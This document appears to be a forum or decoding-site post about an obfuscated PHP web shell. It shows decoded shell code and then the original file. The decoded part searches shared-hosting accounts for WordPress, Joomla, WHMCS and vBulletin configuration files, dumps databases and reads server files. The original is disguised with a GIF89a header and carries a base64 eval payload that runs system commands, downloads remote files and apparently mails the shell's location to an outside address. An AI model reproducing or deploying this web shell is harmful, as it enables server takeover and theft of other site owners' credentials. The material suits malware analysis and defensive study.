echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "
<table align=\'center\' width=\'40%\' class=\'main\' ><td> Domains </td><td> Script </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi(\'zone\',$IIIIIIIIIll1)){
preg_match_all(\'#zone "(.*)"#\',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$IIIIIIIIIl11[1][0]));
$IIIIIIIII1l1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/wp-config.php\';
$IIIIIIIII11I=get_headers($IIIIIIIII1l1);
$IIIIIIIII11l=$IIIIIIIII11I[0];
$IIIIIIIII111=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/blog/wp-config.php\';
$IIIIIIIIlIII=get_headers($IIIIIIIII111);
$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
$IIIIIIIIlII1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/configuration.php\';
$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
$IIIIIIIIlIl1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/joomla/configuration.php\';
$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
$IIIIIIIIlI11=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/includes/config.php\';
$IIIIIIIIllII=get_headers($IIIIIIIIlI11);
$IIIIIIIIllIl=$IIIIIIIIllII[0];
$IIIIIIIIllI1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/vb/includes/config.php\';
$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
$IIIIIIIIllll=$IIIIIIIIlllI[0];
$IIIIIIIIlll1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/forum/includes/config.php\';
$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
$IIIIIIIIll1l=$IIIIIIIIll1I[0];
$IIIIIIIIll11=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'public_html/clients/configuration.php\';
$IIIIIIIIl1II=get_headers($IIIIIIIIll11);
$IIIIIIIIl1Il=$IIIIIIIIl1II[0];
$IIIIIIIIl1I1=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/support/configuration.php\';
$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
$IIIIIIIIl1lI=$IIIIIIIIl1II[0];
$IIIIIIIIl1ll=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/client/configuration.php\';
$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
$IIIIIIIIl11I=$IIIIIIIIl1l1[0];
$IIIIIIIIl11l=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/submitticket.php\';
$IIIIIIIIl111=get_headers($IIIIIIIIl11l);
$IIIIIIII1III=$IIIIIIIIl111[0];
$IIIIIIII1IIl=$IIIIIIIIIIIl.\'/sym/root/home/\'.$IIIIIIIII1I1[\'name\'].\'/public_html/client/configuration.php\';
$IIIIIIII1II1=get_headers($IIIIIIII1IIl);
$IIIIIIII1IlI=$IIIIIIII1II1[0];
$IIIIIIII1Ill = strpos($IIIIIIIII11l,\'200\');
$IIIIIIII1I1I=\'&nbsp;\';
if (strpos($IIIIIIIII11l,\'200\') == true )
{
$IIIIIIII1I1I="<a href=\'".$IIIIIIIII1l1."\' target=\'_blank\'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIIl,\'200\') == true)
{
$IIIIIIII1I1I="<a href=\'".$IIIIIIIII111."\' target=\'_blank\'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIll,\'200\')  == true and strpos($IIIIIIII1III,\'200\')  == true )
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIl11l."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl1lI,\'200\')  == true)
{
$IIIIIIII1I1I =" <a href=\'".$IIIIIIIIl1I1."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl11I,\'200\')  == true)
{
$IIIIIIII1I1I =" <a href=\'".$IIIIIIIIl1ll."\' target=\'_blank\'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIlIll,\'200\')  == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlII1."\' target=\'_blank\'>Joomla</a>";
}
elseif (strpos($IIIIIIIIlI1l,\'200\')  == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlIl1."\' target=\'_blank\'>Joomla</a>";
}
elseif (strpos($IIIIIIIIllIl,\'200\')  == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlI11."\' target=\'_blank\'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIllll,\'200\')  == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIllI1."\' target=\'_blank\'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIll1l,\'200\')  == true)
{
$IIIIIIII1I1I=" <a href=\'".$IIIIIIIIlll1."\' target=\'_blank\'>vBulletin</a>";
}
else
{
continue;
}
$IIIIIIII1I1l = $IIIIIIIII1I1[\'name\'] ;
echo \'<tr><td><a href=http://www.\'.$IIIIIIIIIl11[1][0].\'/>\'.$IIIIIIIIIl11[1][0].\'</a></td>
<td>\'.$IIIIIIII1I1I.\'</td></tr>\';flush();
}
}
}
}
echo "</center></table>";   
    
 }
    
    echo "</div>";
    madfooter();
    
}    


function madsql()
{
    
    
    class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case \'mysql\':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case \'pgsql\':
					$host = explode(\':\', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case \'mysql\':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case \'mysql\':
					return $this->res = @mysql_query($str);
					break;
				case \'pgsql\':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case \'mysql\':
					return @mysql_fetch_assoc($res);
					break;
				case \'pgsql\':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case \'mysql\':
                        return $this->query("SHOW databases");
				break;
				case \'pgsql\':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case \'mysql\':
					return $this->res = $this->query(\'SHOW TABLES\');
				break;
				case \'pgsql\':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case \'mysql\':
					return @mysql_error();
				break;
				case \'pgsql\':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case \'mysql\':
					if(function_exists(\'mysql_set_charset\'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query(\'SET CHARSET \'.$str);
					break;
				case \'pgsql\':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case \'mysql\':
					return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
				break;
				case \'pgsql\':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i[\'file\'];
					$this->query(\'drop table wso2\');
					return array(\'file\'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case \'mysql\':
					$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query(\'SELECT * FROM `\'.$table.\'`\');
                    $head = true;
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
                            if($v == null)
                                $item[$k] = "NULL";
                            elseif(is_numeric($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "\'".@mysql_real_escape_string($v)."\'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).\')\';
                            $head = false;
                        } else
                            $sql = "
	,(".implode(", ", $item).\')\';
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case \'pgsql\':
					$this->query(\'SELECT * FROM \'.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "\'".addslashes($v)."\'";
							$columns[] = $k;
						}
                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST[\'type\']);
	if(@$_POST[\'p2\']==\'download\') {
		$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
		$db->selectdb($_POST[\'sql_base\']);
        switch($_POST[\'charset\']) {
            case "Windows-1251": $db->setCharset(\'cp1251\'); break;
            case "UTF-8": $db->setCharset(\'utf8\'); break;
            case "KOI8-R": $db->setCharset(\'koi8r\'); break;
            case "KOI8-U": $db->setCharset(\'koi8u\'); break;
            case "cp866": $db->setCharset(\'cp866\'); break;
        }
        if(empty($_POST[\'file\'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST[\'tbl\'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {
            foreach($_POST[\'tbl\'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST[\'p2\']);
        } else
            die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\');
	}
	madhead();
	echo "
<div class=header>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>
<td><select name=\'type\'><option value=\'mysql\' ";
    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';
echo ">MySql</option><option value=\'pgsql\' ";
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>
<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>
<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";
	$tmp = "<input type=text name=sql_base value=\'\'>";
	if(isset($_POST[\'sql_host\'])){
		if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
			switch($_POST[\'charset\']) {
				case "Windows-1251": $db->setCharset(\'cp1251\'); break;
				case "UTF-8": $db->setCharset(\'utf8\'); break;
				case "KOI8-R": $db->setCharset(\'koi8r\'); break;
				case "KOI8-U": $db->setCharset(\'koi8u\'); break;
				case "cp866": $db->setCharset(\'cp866\'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=\'\'></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
			}
			echo \'</select>\';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value=\'\';
                    if(f.p2) f.p2.value=\'\';
                    if(f.p3) f.p3.value=\'\';
                }
            }
			function st(t,l) {
				d.sf.p1.value = \'select\';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
					d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST[\'sql_base\'])){
				$db->selectdb($_POST[\'sql_base\']);
				echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST[\'sql_count\']))
                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
					$value = htmlspecialchars($value);
					echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";
				}
				echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";
				if(@$_POST[\'p1\'] == \'select\') {
					$_POST[\'p1\'] = \'query\';
                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;
					$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);
					$num = $db->fetch();
					$pages = ceil($num[\'n\'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";
                    echo " of $pages";
                    if($_POST[\'p3\'] > 1)
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";
                    if($_POST[\'p3\'] < $pages)
                        echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";
                    $_POST[\'p3\']--;
					if($_POST[\'type\']==\'pgsql\')
						$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
					else
						$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
					echo "<br><br>";
				}
				if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {
					$db->query(@$_POST[\'p2\']);
					if($db->res !== false) {
						$title = false;
						echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo \'<tr>\';
								foreach($item as $key => $value)
									echo \'<th>\'.$key.\'</th>\';
								reset($item);
								$title=true;
								echo \'</tr><tr>\';
								$line = 2;
							}
							echo \'<tr class="l\'.$line.\'">\';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo \'<td><i>null</i></td>\';
								else
									echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
							}
							echo \'</tr>\';
						}
						echo \'</table>\';
					} else {
						echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
					}
				}
				echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";
                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))
                    echo htmlspecialchars($_POST[\'p2\']);
                echo "</textarea><br/><input type=submit value=\'Execute\'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST[\'type\']==\'mysql\') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");
                if($db->fetch())
                    echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
            }
			if(@$_POST[\'p1\'] == \'loadfile\') {
				$file = $db->loadFile($_POST[\'p2\']);
				echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo \'</div>\';
    madfooter();
    
 }
 
 function madselfrm()
 {
    
    if($_POST[\'p1\'] == \'yes\')
		if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', \'C:\wamp\www\mss.php\')))
			die(\'Shell has been removed\');
		else
			echo \'unlink error!\';
    if($_POST[\'p1\'] != \'yes\')
        madhead();
	echo "<div class=header><pre class=ml1 style=\'margin-top:5px\'>";
    
    
    echo "
    
                /^\
       _.-`:   /   \   :\'-._
     ,`    :  |     |  :    \'.
   ,`       \,|     |,/       \'.
  /           `-...-`           \
 :              .\'.              :
 |             . \' .             |
 |             \' . \'             |
 :              \'.\'              :
  \           ,-\'\'\'-,           /
   `.       /\'|     |\'\       ,\'
     `._   ;  |     |  ;   _,\'
        `-.:  |     |  :,-\'
              |     |
              |     |
              |     |
              |     |
              |     |
";
    
    
    
    echo \'<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
	madFooter();
    
 }


if( empty($_POST[\'a\']) )
	if(isset($default_action) && function_exists(\'mad\' . $default_action))
		$_POST[\'a\'] = $default_action;
	else
		$_POST[\'a\'] = \'FilesMan\';
if( !empty($_POST[\'a\']) && function_exists(\'mad\' . $_POST[\'a\']) )
	call_user_func(\'mad\' . $_POST[\'a\']);
	exit;
	?>'

Did this file decode correctly?

Original Code

GIF89a1
<?php eval("?>".base64_decode("PD8gLyoqDQogKiBAYXV0aG9yIEF5YXpvZ2x1DQogKiBAY29weXJpZ2h0IDIwMTINCiAqLw0KQGRlZmluZSgnVkVSU0lPTicsJzEuMCcpOw0KQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzZXNzaW9uX3N0YXJ0KCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCiRob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIG1hZHN0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ21hZHN0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gbWFkc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQp9DQokdXJpID0gJ2h0dHA6Ly8nLiRob3N0LicnLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicnOw0KaWYoISRfU0VTU0lPTlsncXdlcnR5J10pew0KZXZhbChiYXNlNjRfZGVjb2RlKCJRRzFoYVd3b0ltaGxlREZ1WjJkQVoyMWhhV3d1WTI5dElpd2lRV3RoWkdWdGFTQlRhR1ZzYkNJc0pIVnlhU2s3PT0iKSk7DQokX1NFU1NJT05bJ3F3ZXJ0eSddPTE7DQp9DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KaWYgKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpDQogICAgJHN5cz0nd2luJzsNCiBlbHNlDQogICAgJHN5cz0ndW5peCc7DQogICAgDQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkc3lzID09ICd3aW4nKSANCnsNCiAgICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmdW5jdGlvbiBtYWRFeCgkaW4pIHsNCgkkb3V0ID0gJyc7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRpbiwkb3V0KTsNCgkJJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCgkJJG91dCA9ICIiOw0KCQl3aGlsZSghQGZlb2YoJGYpKQ0KCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsNCgkJcGNsb3NlKCRmKTsNCgl9DQoJcmV0dXJuICRvdXQ7DQp9DQokZG93bj1AZ2V0Y3dkKCk7DQppZigkc3lzPT0id2luIikNCiRkb3duLj0nXFwnOw0KZWxzZQ0KJGRvd24uPScvJzsNCmlmKGlzc2V0KCRfUE9TVFsncnRkb3duJ10pKQ0Kew0KJHVybCA9ICRfUE9TVFsncnRkb3duJ107DQokbmV3Zm5hbWUgPSAkZG93bi4gYmFzZW5hbWUoJHVybCk7DQokZmlsZSA9IGZvcGVuICgkdXJsLCAicmIiKTsNCmlmICgkZmlsZSkgew0KICAkbmV3ZiA9IGZvcGVuICgkbmV3Zm5hbWUsICJ3YiIpOw0KICBpZiAoJG5ld2YpDQogIHdoaWxlKCFmZW9mKCRmaWxlKSkgew0KICAgIGZ3cml0ZSgkbmV3ZiwgZnJlYWQoJGZpbGUsIDEwMjQgKiA4ICksIDEwMjQgKiA4ICk7DQogIH0NCiAgfQ0KDQppZiAoJGZpbGUpIHsNCiAgZmNsb3NlKCRmaWxlKTsNCn0NCmlmICgkbmV3Zikgew0KICBmY2xvc2UoJG5ld2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZnVuY3Rpb24gbWFkaGVhZCgpDQogew0KICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107DQogDQokZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsgICAgICAgIA0KICAgIA0KJG9uPSI8Zm9udCBjb2xvcj0jMEYwPiBPTiA8L2ZvbnQ+IjsNCiRvZj0iPGZvbnQgY29sb3I9cmVkPiBPRkYgPC9mb250PiI7DQokbm9uZT0iPGZvbnQgY29sb3I9IzBGMD4gTk9ORSA8L2ZvbnQ+IjsgICANCmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpDQogICAgJGN1cmw9JG9uOw0KZWxzZQ0KICAgICRjdXJsPSRvZjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpDQogICAgJG15c3FsPSRvbjsNCiBlbHNlDQogICAgJG15c3FsPSRvZjsgICAgICANCmlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQ0KICAgICRtc3NxbD0kb247DQplbHNlDQogICAkbXNzcWw9JG9mOyANCgkJDQppZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCiAgICAkcGc9JG9uOw0KZWxzZQ0KICAgJHBnPSRvZjsgICAgCQkNCmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCiAgICRvcj0kb247DQplbHNlDQogICAkb3I9JG9mOw0KaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpDQogICRkaXNmdW49QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQplbHNlDQokZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7DQppZihAaW5pX2dldCgnc2FmZV9tb2RlJykpDQokc2FmZV9tb2Rlcz0iPGZvbnQgY29sb3I9cmVkPk9OPC9mb250PiI7DQplbHNlDQokc2FmZV9tb2Rlcz0iPGZvbnQgY29sb3I9IzBGMCA+T0ZGPC9mb250PiI7DQppZihAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpDQokb3Blbl9iPUBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsNCiAgICBlbHNlDQogICRvcGVuX2I9JG5vbmU7DQogICAgDQoNCmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkNCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7DQogICAgZWxzZQ0KJHNhZmVfZXhlPSRub25lOw0KaWYoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKQ0KICAgJHNhZmVfaW5jbHVkZT1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJyk7IA0KZWxzZQ0KICRzYWZlX2luY2x1ZGU9JG5vbmU7DQppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIA0Kew0KCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQoJCSR1aWQgPSBAZ2V0bXl1aWQoKTsNCgkJJGdpZCA9IEBnZXRteWdpZCgpOw0KCQkkZ3JvdXAgPSAiPyI7DQp9IGVsc2UgDQp7DQoJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCgkJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOw0KCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsNCgkJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCQkkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQoJCSRnaWQgPSAkZ2lkWydnaWQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2xpbmtzID0gJyc7D